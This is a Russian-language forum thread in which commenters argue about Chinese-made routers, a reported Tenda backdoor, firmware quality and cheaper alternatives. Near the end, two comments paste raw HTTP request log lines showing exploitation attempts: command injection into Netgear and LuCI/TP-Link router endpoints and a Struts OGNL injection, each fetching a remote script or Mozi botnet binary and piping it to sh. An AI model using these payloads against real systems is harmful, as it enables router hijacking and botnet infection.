Родитель: #121

123. Сообщение от Аноним (122), 08-Июл-26, 00:49   +/
> Я 30 лет профессионально в IT

Уборщицей в датацентре? Она тоже профессионально (попробуй не заплати вовремя!) и тоже в IT.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #120 Ответы: #124

124. Сообщение от EiLef3Woos (ok), 08-Июл-26, 00:59   +/
>> Я 30 лет профессионально в IT
> Уборщицей в датацентре? Она тоже профессионально (попробуй не заплати вовремя!) и тоже
> в IT.

Да, совершенно верно. Профессиональная уборка. Зовите меня Уинстон Вулф. А Вас, часом, не Марвин звать? Если да, то передавайте привет Винсенту и Джулсу — они скоро мне позвонят.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123

125. Сообщение от Аноним (122), 08-Июл-26, 01:04   +/
Отработал 15 лет в международном телекоме на сеньорских и менеджерских должностях не заморачиваясь даже CCNA получать. Всё это "если ты хотя бы не..." -- чистой воды вахтёрство. Покупаешь, читаешь мануал, пользуешься. Непонятное гуглишь или берёшь ИИ модель поновее, она сети и оборудование знает как ни однин CCIE в мире, с деталями про которые тебе на буткампе не расскажут, а чтобы самому посмотреть надо минимум в Tier 1 провайдере поработать годиков пять-десять. Если с чем и есть проблемы, так это прошивку скачать, но и это решается простым членством в профильном телеграм-канале или просто по знакомству. То, что ты там где-то что-то видел-ковырял я тебе конечно верю на слово, уж кому как ни CCDE ковырять "адресно" добавленные "аппаратные бэкдоры".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #102 Ответы: #145

126. Сообщение от Аноним (126), 08-Июл-26, 02:13   +/
Пользуюсь убиквити.
Хз что у них с бекдорами но то что все удобненько в их админке это огромный плюс
Ответить | Правка | Наверх | Cообщить модератору

127. Сообщение от _ (??), 08-Июл-26, 03:14   +/
Другого нет. Если кто забыл даже ябблы - китайские.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #62 Ответы: #128, #131

128. Сообщение от Аноним (67), 08-Июл-26, 03:17   +/
Да... и такое пишут во времена, когда вся информация "под рукой", ещё и на сайте так или иначе затрагивающем новости про железо.
Печально.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #127

131. Сообщение от Аноним (67), 08-Июл-26, 03:52   +1 +/
>даже ябблы - китайские

По вашей логике, когда завод Toyota под Питером делал Camry они были российские ?

Взять те же макбуки:
*Процессор разработанный американской Apple и произведён тайваньской TSMC.
*ОЗУ от южнокорейских Samsung и SK Hynix или от американской Micron.
*SSD от южнокорейской Samsung или от американской Micron или от японской Kioxia.
*Матрица от южнокорейских Samsung или LG.
*Камера от южнокорейской LG.
*Сборка происходит во Вьетнаме на заводе от тайваньской Foxconn, в Китае на заводе от тайваньской Foxconn.

И это если говорить конкретно про макбуки, те же айфоны собирают и в Индии на заводах от тайваньских Foxconn и Pegatron или индийском Tata.

- https://www.kommersant.ru/doc/5782705
- https://3dnews.ru/1109137/
- https://3dnews.ru/1130894/

Когда кто-то пишет про "всёкитайское" это явный признак, что человек не знаком с темой вообще.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #127

133. Сообщение от Аноним (133), 08-Июл-26, 05:04   +/
Я дико извиняюсь. А где вы все эти модели перечисленные в статье собрались покупать в 2026 году?
В списке ac1200 максимум преимущественно на realtek и ещё старые ревизии.
На барахолках искать станете?
Ну и в самой статье сказано, не открываете web вашего роутера наружу для управления.
И как справедливо заметили в самом начале обсуждения это черный ход оставленный разработчиками ПО вероятно для отладки.
А вы знаете что config файл в Tenda нешифрован?
И там столько настроек сидит, море.
Ответить | Правка | Наверх | Cообщить модератору

134. Сообщение от Джон Титор (ok), 08-Июл-26, 06:06   +/
Вообще-то их действия говорят о том что они не собираются вертеть тобой телефоном и другими устройствами в отличии от американцев. А вот безопасность они стараются обеспечить. Не исключаю что и технологический шпионаж. Зато забивать голову своим тиктоком не будут и что у них там есть ещё? Внимания держать людей у них нет
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

135. Сообщение от Джон Титор (ok), 08-Июл-26, 06:15   +/
Не знаю, я брал их роутер F6 как рипитер. Честно говоря не доволен. Маска подсети упрощённая, работает со сбоями. В одной сети может быть конфликт айпишников, в разной все-равно сбоит для беспроводного соединения. Даже если не менять канал. Зато чип там экономичный. Сильно пожалел. Взял бы б.у. у кого-то - рипитер был бы лучше за меньшие деньги. Что удивляет. Эволюция пошла не тем путем.
Ответить | Правка | Наверх | Cообщить модератору

136. Сообщение от Немайор (?), 08-Июл-26, 07:23   +/
Давно уже выпускается роутер Альфин, с ПО от Wi-Cat - российской конторы. Своевременно прошивки выпускают. Недорогой, но очень приличный аппарат.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #147

137. Сообщение от Аноним (137), 08-Июл-26, 07:37   +/
Какие ещё "друзья" у Поднебесной? Тем более северные бледнолицые варвары.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59

138. Сообщение от X86 (ok), 08-Июл-26, 07:39   +1 +/
Почему особенно? Или Google, Apple, Microsoft  и Meta стали китайскими?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6

140. Сообщение от Пышь (?), 08-Июл-26, 08:54   +/
Тысячи глаз проверили? Сомневаюсь, что рядовые конопляторы штудировали исходники.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #63 Ответы: #144

141. Сообщение от Жироватт (ok), 08-Июл-26, 08:56   +/
> Плохой Жироватт, он описывает реальность, которая вокруг, а у меня она не бъётся с методичкой! Плохой, плохой Жироватт!1 Он должен писать только то, что у меня написано!

Да, я уже понял, что отвёрточно собранный из китайских комплектов, на китайских платах (с неизвестными чёрными ящиками блобов, не выходящего за пределы конкретного кристалла микрокода) из китайских комплектующих с китайской требухой, вроде "умных" проводов с software defined power control - по современным методичкам считается не-Китайским, если его собирали в отлитые тут же из дёшевого пластика корпуса турецкие мигранты.

Чё так завёлся, чешские хозяева обещали лишить порции кнедликов и низкосортного пиваса?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #96

142. Сообщение от Жироватт (ok), 08-Июл-26, 09:01   +/
Ну, судя по реакции, человечка послали антикризить или чешские хозяева - тут уже рекламировался их недокомп-перероутер с (о, божечки-кошечки! Ажно на цельном опенврт! Барин с плеча кинул, а мог бы на конюшне^W^W и закрытую прошивку выкатить!), или лично Трумп-пурурмп.
Почему Трумп? Потому, что
а) Видишь какое резкое неприятие того факта, что все сделано в Китае?
б) Он уже замечен за звонками в ФУФУ с "Слыш, отмени красную карточку, судья".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #111 Ответы: #152

143. Сообщение от Жироватт (ok), 08-Июл-26, 09:22   +/
> Про один раз настроил и забыл это все только на словах красиво звучит.

Потому, что de facto оно так и есть. Развернул систему, установил нужные пакеты, воткнул докер, если так нужен, подключил диски, если планируется ещё и софтверный NAS. У новичка это займет две недели, у проф.админа - вечер. Далее только обновляйся: если дистро выбран правильно, то это не требует вообще никакого мозга - проблем нет.

> время на настройку, перенастройку, оптимизацию, улучшение, замену старого оборудования на новое,  

Настраивается при развёртывании. 99% сервисов поднимаются буквально сразу. Остальной 1% - позже, но там нет "борьбы за ресурсы", у такого ПК обычно не надо выдирать байтики для установки пакетов на накопителе ("удалить локаль, чтобы влез ВПН") или для работы (в раме).
Перенастройка обычно сводится к "этот MAC забань и не пускай, этому отправь в днс "безопасный яндекс", а этому - дай статический адрес". Делается за 5 минут - 3 из которых подключение и ввод паролей.
Улучшение и замена оборудования обычно безболезення, плаг-унд-плей, майнлайновое ядро уже имеет подавляющее большинство необходимых дров из коробки

> И между этими шагами

Свинья грязь найдет везде. Нуб проблемы себе найдет везде.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #95

144. Сообщение от Аноним (4), 08-Июл-26, 09:25   +/
Ну вообще-то люди реально смотрят на подозрительное: обфусцированные вставки, обращения к левым хостам, откуда получено. На этот случай воспроизводимые сборки хороши,тот же fdroid ловит малварь так. Поэтому, если на нём нет "опенсорсной" поделки, этак уже намекает на нечистоплотность автора. В случае с openwrt достаточно проверять, что собрано из реальных исходников, и патчи посмотреть, чем отличаются.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #140

145. Сообщение от Жироватт (ok), 08-Июл-26, 09:32   +/
> так это прошивку скачать, но и это решается простым членством в профильном телеграм-канале или просто по знакомству.
> прошивку для tier 1 телеком оборудования
> от васянов в телеграмме
> берешь ИИ модель поновее
> Отрицает наличие адресно добавленных аппаратных бэкдоро в сисько

Носов Николай - "Фантазёры", в ред. анонимуса с опеннета, 2026.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #125 Ответы: #157

146. Сообщение от Жироватт (ok), 08-Июл-26, 09:37   +/
Тот же самый китай, только и в убитом виде (энтерпрайз не заморачивается с внешним видом, местом размещения и чисткой оборудования) и с хз как исчерпанным ресурсом (хотя бы накопителя и модулей рам) без гарантии работоспособности.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #110

147. Сообщение от Жироватт (ok), 08-Июл-26, 09:40   +/
Переделка^W Импортозамещение^W OEM-шильд?
А исходный китайский аппарат какой?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #136 Ответы: #149, #154

148. Сообщение от Аноним (137), 08-Июл-26, 10:34   +/
У микротика для домашнего пользователя все настройки буквально на одной странице. Нигде проще не видел.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #58

149. Сообщение от Немайор (?), 08-Июл-26, 10:37   +/
Железо китайское и это не скрывается, прошивка - линукс Wive-NG, которую пилят наши программеры.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #147

150. Сообщение от Аноним (137), 08-Июл-26, 10:54   +/
Так ты не стесняйся: расскажи нам, что ТЫ рекомендуешь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86

151. Сообщение от Аноним (133), 08-Июл-26, 13:40   +/
Давайте разберем роутеры из статьи.
FH1201 V1 - снят с производства. Модель 2014 года. Broadcom 500 MHz, ram-rom 32/8. 100 mbit. ac1200.
Вы такое купите в 2026 году?

W15E V1 - снят с производства.
2017 год. ac1200. 100 mbit. broadcom 900 MHz. 128/16. Вторая ревизия уже на Qualcomm.

AC10 V1 - снят с производства.
Realtek mips одно ядро. ac1200. 1 Gbit. 128/8.
Вместо него "новая" ревизия V3.
128/4. Флеш память до 4 mb урезали.

AC5 V1 - снят с производства.
Вместо него новая ревизия V3.
100 mbit аналог AC10. 64 mb ram.

AC6 V2 - снят с производства. Вместо него новая ревизия V5.
100 mbit аналог AC10. 64 mb ram.

Все три последние модели это Realtek. ram встроена в cpu. Флеш память для программ 4 mb.
Одно ядро mips. ac1200.

Сейчас полно tenda по смешным ценам стандартов be3600, be5100, be7200.
Например 4-ре ядра 2 GHz cpu, 512 mb ram.
Также модели на Filogic 820 которые ax3000.
Это все по ценам за роутер класса ac1200.
Хотите на openwrt перешивайте.

Ответить | Правка | Наверх | Cообщить модератору

152. Сообщение от Аноним (67), 08-Июл-26, 13:41   –1 +/
> человечка послали антикризить или чешские хозяева

Это в твоей парадигме есть "хозяева".
Очередное доказательство того, насколько же промытый взгляд на всё.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #142

153. Сообщение от pofigist (?), 08-Июл-26, 18:45   +/
Ну да, конечно же - перехватывал и внедряла втихую... Верим разумеется.
Только вот чип с бекдором устанавливался в ШТАТНОЕ МЕСТО на печатной плате...
То есть разводка под шпионский чип была заложена на этапе проектирования печатной платы. Но кошки тут разумеется не причем! Ну да, конечно же!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #121 Ответы: #156

154. Сообщение от Джон Титор (ok), 09-Июл-26, 01:52   +/
Не знаю, я почитал тут: https://4pda.to/forum/index.php?showtopic=1055556
Если это переделка, то очень хорошая - челюсть отвисла. Tenda тебе такого на F6 или в той же ценовой категории не выдаст.

Вообще... это демпинг ребята. Если заявленные характеристики работают, то это цена где-то раза в 3 выше, где роутеры аналогичные. Проблема просто в том что нет пафоса за который люди платят - это не огрызок яблока американский, а так, местечковый. На таком коррумпированные люди особо не заработают - наверняка отсюда и такое отношение.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #147 Ответы: #158, #159

155. Сообщение от Bob (??), 09-Июл-26, 07:54   +/
>Для использования бэкдора достаточно наличия доступа для отправки запросов к устройству по HTTP или HTTPS

Кто же снял штаны и слав в позу на трассе Москва - Питер, светя голым HTTP на публику?)

Бэкдор, когда чаще всего надо иметь физический доступ к девайсу (умные люди web админку только через lan Провод делают доступной или родное приложение. Ибо раз настроил и забыл) - ну, такое...

Хотя не отменяет косяка производителя.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

156. Сообщение от Аноним (122), 10-Июл-26, 03:19   +/
Да-да, и прямо промаркировано "NSA SURVELIANCE CHIP". Впрочем, таким как ты и JTAG шпионский чип.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #153 Ответы: #161

157. Сообщение от Аноним (122), 10-Июл-26, 03:24   +/
Сынок, ты если какие-то вопросы конкретные задать хочешь так задавай, а просто так языком ляпать не надо, могу не так понять. Смекаешь?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #145 Ответы: #163, #164

158. Сообщение от Немайор (?), 10-Июл-26, 06:28   +/
Темы по этому роутеру на 4ПДА и хоботе очень небольшие, во-первых, в силу малочисленности пользователей, во-вторых, в связи с небольшим количеством проблем. Им просто пользуются. На 4ПДА ажно один из разработчиков прошивки присутствует. На сайте wi-cat много объяснялок об устройстве и работе роутера. Я как узнал о нем - сразу на него и пересел, уже пару лет как, благо, к тому времени мой tp-link начал сильно тупить и понадобилась замена.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #154

159. Сообщение от Amstrad (?), 10-Июл-26, 06:30   +/
Tenda F6 вами упомянутый это ультра бюджет, цена ему 100 рублей. Его даже даром брать нет смысла. 2.4 GHz n300. А например tenda tx12L Pro за цену меньше чем 2 тр. это стандартный filogic 820. ax3000.
А по ссылке у вас модель ax1800 на устаревшем mt7621. Смысла в его покупке особого нет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #154 Ответы: #160, #162

160. Сообщение от Немайор (?), 10-Июл-26, 07:40   +1 +/
Вы только на скорость смотрите что ли? Далеко не везде АХ1200 нужен, не то что АХ1800 или тем более АХ3000. Мне так оперативные исправления косяков важнее и общая надежность. А у Альфина и других плюшек вагон и маленькая тележка, в т.ч. нужных не только эндюзеру
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #159

161. Сообщение от pofigist (?), 10-Июл-26, 13:08   +/
В отличие от гордых админов локалхоста,  мне пришлось прощупать кошки с закладками своими руками...
Так что в отличае от тебя - я знаю о чем говорю.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156

162. Сообщение от Джон Титор (ok), 10-Июл-26, 13:10   +/
> Tenda F6 вами упомянутый это ультра бюджет, цена ему 100 рублей. Его
> даже даром брать нет смысла. 2.4 GHz n300. А например tenda
> tx12L Pro за цену меньше чем 2 тр. это стандартный filogic
> 820. ax3000.
> А по ссылке у вас модель ax1800 на устаревшем mt7621. Смысла в
> его покупке особого нет.

Цена ему более 1000 руб, а не как вы утверждаете 100. Даже сейчас. И для wifi в саду, на качелях брать что-то сильно дорогое и с какими-то наворотами я не понимаю зачем. Мне нужно чтобы просто была связь и как можно больший радиус. Я же говорю повторитель. Эта функция в роутере заявлена и есть, но работает с ошибками. Программными ошибками. И я очень удивлен их программному обеспечению. Ранее за меньшие деньги на том же 802.11n, который мне вполне достаточно можно было получить гораздо больше. Что там компании исследуют и развивают что даже устаревшие технологии не могут на том же уровне выпустить? У меня вызывает много вопросов. Причем я задавал вопросы в службу поддержки, они мне сказали что это специально для дешёвого роутера так вот все сделали. Извините но это деградация разработки.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #159 Ответы: #165, #166

163. Сообщение от pofigist (?), 10-Июл-26, 13:29   +1 +/
> Сынок, ты если какие-то вопросы конкретные задать хочешь так задавай, а просто
> так языком ляпать не надо, могу не так понять. Смекаешь?

А давай я задам - скинь генератор лицензий для IOS XE. Если ты действительно такой крутой - ссылка для тебя давно известна.😆

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #157

164. Сообщение от Жироватт (ok), 10-Июл-26, 15:52   +/
Дядь, у тебя борода отклеилась.
Видал, я ваши каналы.
Интересно, а вот если мои коллеги с аудитом на это оборудование, с этими обновлениями придут - сколько троянов и реально добавленного они найдут?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #157

165. Сообщение от Amstrad (?), 11-Июл-26, 02:47   +/
Роутер tenda F6 просто нельзя покупать. На него много прошивок. Наиболее релевантную искать для Бразилии. Если хотите устаревший роутер за недорого возьмите хотя бы mercusys mr30G.
Там за теже деньги даже мобильное приложение для удаленного доступа.
Менее чем за 2 тр. можно купить tenda стандартов ax3000(filogic 820), а также tenda be3600. Роутер на современной элементной базе более стабильный и мощный и качественный и часто стоит дешевле чем какое либо n300 и ac1200.
Вот вы привели ссылку на роутер ax1800.
Я вам говорю, его лучше не рассматривать к приобретению несмотря на ПО.
Базовое ПО поставляет сам вендор изготовитель чипов. И чем чип современнее, тем дольше он станет поддерживаться производителем.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #162 Ответы: #168, #170

166. Сообщение от Немайор (?), 11-Июл-26, 14:17   +/
Заметили? Как только появилось что-то хоть немножко российское, как сразу пошла подача "не надо покупать" :D
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #162 Ответы: #167, #169, #173

167. Сообщение от Джон Титор (ok), 12-Июл-26, 01:24    Скрыто ботом-модератором+/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #166

168. Сообщение от Джон Титор (ok), 12-Июл-26, 01:37   +/
>[оверквотинг удален]
> бы mercusys mr30G.
> Там за теже деньги даже мобильное приложение для удаленного доступа.
> Менее чем за 2 тр. можно купить tenda стандартов ax3000(filogic 820), а
> также tenda be3600. Роутер на современной элементной базе более стабильный и
> мощный и качественный и часто стоит дешевле чем какое либо n300
> и ac1200.
> Вот вы привели ссылку на роутер ax1800.
> Я вам говорю, его лучше не рассматривать к приобретению несмотря на ПО.
> Базовое ПО поставляет сам вендор изготовитель чипов. И чем чип современнее, тем
> дольше он станет поддерживаться производителем.

Ну вот если я бы жил в России, а вы ими торговали со своего интернет-магазина, то тогда бы мне и подобрали бы отличный вариант, а я бы с удовольствием бы у вас купил. Но уже купил то что есть и свою проблему решил. А по другому решать сейчас нет возможности - экономлю на всём. Работы нет длительное время, а в долги лезть не хочу.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #165

169. Сообщение от Немайор (?), 12-Июл-26, 07:18   +/
С ником все просто - я в комментариях частенько в разумной мере, без оголтелой азаренковщины, играю за государство, поэтому даю своеобразный сигнал моим визави-оранжутангам, что я рядовой обыватель, немайор )))
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #166

170. Сообщение от Немайор (?), 12-Июл-26, 15:59   +/
Сегодня опубликован новый релиз прошивки 10.5.12 от Wi-Cat. И там упомянуто обновление микрокода для MT7981 (filogic 820, внезапно!), на котором запускается новое оборудование. Мантры про базовое ПО от производителя и его поддержку сразу протухли :D
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #165

171. Сообщение от мимо проходил (-), 13-Июл-26, 10:30   +/
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://103.213.112.251:42141/Mozi.m+-O+/tmp/netgear;sh+netge... HTTP/1.0"


GET ?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5leHIuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uZXhyLnNoKXxzaCAg}|{base64,-d}|sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} HTTP/1.1"

но это так приколюхи, вот горячо любимый опенврот
GET /cgi-bin/luci/?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75

172. Сообщение от Аноним (-), 13-Июл-26, 10:35   +/
я просто оставлю это здесь
GET /cgi-bin/luci/?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25

173. Сообщение от Аноним (-), 13-Июл-26, 11:13    Скрыто ботом-модератором+/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #166


Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2026 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру